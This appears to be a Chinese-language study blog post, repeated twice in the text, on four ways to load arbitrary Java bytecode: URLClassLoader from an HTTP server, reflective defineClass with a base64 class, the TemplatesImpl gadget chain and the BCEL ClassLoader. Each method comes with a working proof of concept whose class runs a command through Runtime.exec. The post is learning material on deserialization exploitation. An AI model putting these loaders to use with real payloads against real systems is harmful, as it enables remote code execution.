本文最后编辑于 前,其中的内容可能需要更新。
讨论方法前先来看看什么是字节码
什么是java字节码 严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。 但是我们讨论的字节码可以扩大范围——所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内。 Java的ClassLoader来用来加载字节码文件最基础的方法
ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的
ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。
方法一、利用URLClassLoader加载远程class文件 URLClassLoader是AppClassLoader的父类,该类可以加载远程class文件。 正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
我们这里要利用第三种,协议得是非file,最常见的就是http 先创建一个恶意类
1 2 3 4 5 6 7 8 package UrlClassLoaderTest;import java.io.IOException;public class EvilTest { public EvilTest () throws Exception { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" ); } }
在class文件所在的文件夹下用python快速起一个http服务器 之后试试能不能用UrlClassLoader加载这个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package UrlClassLoaderTest;import java.net.URL;import java.net.URLClassLoader;public class UrlLoaderTest { public static void main ( String[] args ) throws Exception { URL[] urls = {new URL("http://localhost:1234/" )}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass("UrlClassLoaderTest.EvilTest" ); c.newInstance(); } }
成功弹出计算器 所以在实战中,我们如果能控制ClassLoader为一个http服务器就能加载恶意类。
方法二、利用ClassLoader#defineClass直接加载字节码 不管是加载远程的class文件还是本地的class文件都是经历下面三个方法调用javaClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
其核心应该是在defineClass方法,因为这个方法才是最后把字节码转化成真正的java类。 我们本地测试一下好了。 一个恶意类,弹出计算机
1 2 3 4 5 6 7 8 package definclass;import java.io.IOException;public class EvilTest { public EvilTest () throws Exception { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" ); } }
编译成class文件,用shell输出base64编码的字节码 之后利用definClass加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package definclass;import java.lang.reflect.Method;import java.util.Base64;public class evalcmd { public static void main (String[] args) throws Exception { Class clazz = Class.forName("java.lang.ClassLoader" ); Method defineClass = clazz.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTGRlZmluY2xhc3MvRXZpbFRlc3Q7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAHAAgHABoMABsAHAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAB0AHgEAE2RlZmluY2xhc3MvRXZpbFRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAAAAAIAEQ==" ); Class targetClass = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "definclass.EvilTest" , code, 0 , code.length); targetClass.newInstance(); } }
成功弹出计算器
方法三、利用TemplatesImpl加载字节码 TemplatesImpl相对于ClassLoader比较底层,但原理是defineClass()在TemplatesImpl内部的静态类TransletClassLoader被重载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
但这个方法是个private方法不能被外部调用,我们继续看看。 看到getTransletInstance调用了这个方法,但这仍是个私有方法 继续看 最好在NewTransformer方法调用了getTransletInstance,并且这是个public方法,可以外部调用。
调用链是这样的
1 2 3 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
所以poc就有了,这里放p神的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static void main (String[] args) throws Exception {byte [] code =Base64.getDecoder().decode("base64字符串" ); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); obj.newTransformer(); public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
可以看到poc这里用反射设置了三个参数的值,在源码里可以看到原因 _bytecodes是字节码为空的话回返回一个错误 _name可以任意赋值,不为空就行
defineTransletClasses()的run方法调用了_tfactory.getExternalExtensionsMap(),_tfactory所以不能为空
值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。所以需要构造一个特殊的类来触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package TemplatesImplTest;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class EvilTest extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public EvilTest () throws Exception { super (); Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" ); } }
成功弹出计算器
TemplatesImpl似乎在fastjson和jackson出现的比较多,以后会学到。
方法四、利用BCEL ClassLoader加载字节码 BCEL也是个大知识点,以后重点学习,这里放一下poc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package becl;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;public class BeclTest { public static void main (String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(), true ); System.out.println("$$BCEL$$" +code); new ClassLoader().loadClass("$$BCEL$$" +code).newInstance(); } }
讨论方法前先来看看什么是字节码
什么是java字节码 严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。 但是我们讨论的字节码可以扩大范围——所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内。 Java的ClassLoader来用来加载字节码文件最基础的方法
ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的
ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。
方法一、利用URLClassLoader加载远程class文件 URLClassLoader是AppClassLoader的父类,该类可以加载远程class文件。 正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
我们这里要利用第三种,协议得是非file,最常见的就是http 先创建一个恶意类
1 2 3 4 5 6 7 8 package UrlClassLoaderTest;import java.io.IOException;public class EvilTest { public EvilTest () throws Exception { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" ); } }
在class文件所在的文件夹下用python快速起一个http服务器 之后试试能不能用UrlClassLoader加载这个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package UrlClassLoaderTest;import java.net.URL;import java.net.URLClassLoader;public class UrlLoaderTest { public static void main ( String[] args ) throws Exception { URL[] urls = {new URL("http://localhost:1234/" )}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass("UrlClassLoaderTest.EvilTest" ); c.newInstance(); } }
成功弹出计算器 所以在实战中,我们如果能控制ClassLoader为一个http服务器就能加载恶意类。
方法二、利用ClassLoader#defineClass直接加载字节码 不管是加载远程的class文件还是本地的class文件都是经历下面三个方法调用javaClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
其核心应该是在defineClass方法,因为这个方法才是最后把字节码转化成真正的java类。 我们本地测试一下好了。 一个恶意类,弹出计算机
1 2 3 4 5 6 7 8 package definclass;import java.io.IOException;public class EvilTest { public EvilTest () throws Exception { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" ); } }
编译成class文件,用shell输出base64编码的字节码 之后利用definClass加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package definclass;import java.lang.reflect.Method;import java.util.Base64;public class evalcmd { public static void main (String[] args) throws Exception { Class clazz = Class.forName("java.lang.ClassLoader" ); Method defineClass = clazz.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTGRlZmluY2xhc3MvRXZpbFRlc3Q7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAHAAgHABoMABsAHAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAB0AHgEAE2RlZmluY2xhc3MvRXZpbFRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAAAAAIAEQ==" ); Class targetClass = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "definclass.EvilTest" , code, 0 , code.length); targetClass.newInstance(); } }
成功弹出计算器
方法三、利用TemplatesImpl加载字节码 TemplatesImpl相对于ClassLoader比较底层,但原理是defineClass()在TemplatesImpl内部的静态类TransletClassLoader被重载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
但这个方法是个private方法不能被外部调用,我们继续看看。 看到getTransletInstance调用了这个方法,但这仍是个私有方法 继续看 最好在NewTransformer方法调用了getTransletInstance,并且这是个public方法,可以外部调用。
调用链是这样的
1 2 3 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
所以poc就有了,这里放p神的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static void main (String[] args) throws Exception {byte [] code =Base64.getDecoder().decode("base64字符串" ); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); obj.newTransformer(); public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
可以看到poc这里用反射设置了三个参数的值,在源码里可以看到原因 _bytecodes是字节码为空的话回返回一个错误 _name可以任意赋值,不为空就行
defineTransletClasses()的run方法调用了_tfactory.getExternalExtensionsMap(),_tfactory所以不能为空
值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。所以需要构造一个特殊的类来触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package TemplatesImplTest;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class EvilTest extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public EvilTest () throws Exception { super (); Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" ); } }
成功弹出计算器[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ypdjjawo-1632274419328)(http://blog.fmyyy.top/wp-content/uploads/2021/09/wp_editor_md_35e33651c4bcef905ffc631186742bc3.jpg)] TemplatesImpl似乎在fastjson和jackson出现的比较多,以后会学到。
方法四、利用BCEL ClassLoader加载字节码 BCEL也是个大知识点,以后重点学习,这里放一下poc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package becl;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;public class BeclTest { public static void main (String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(), true ); System.out.println("$$BCEL$$" +code); new ClassLoader().loadClass("$$BCEL$$" +code).newInstance(); } }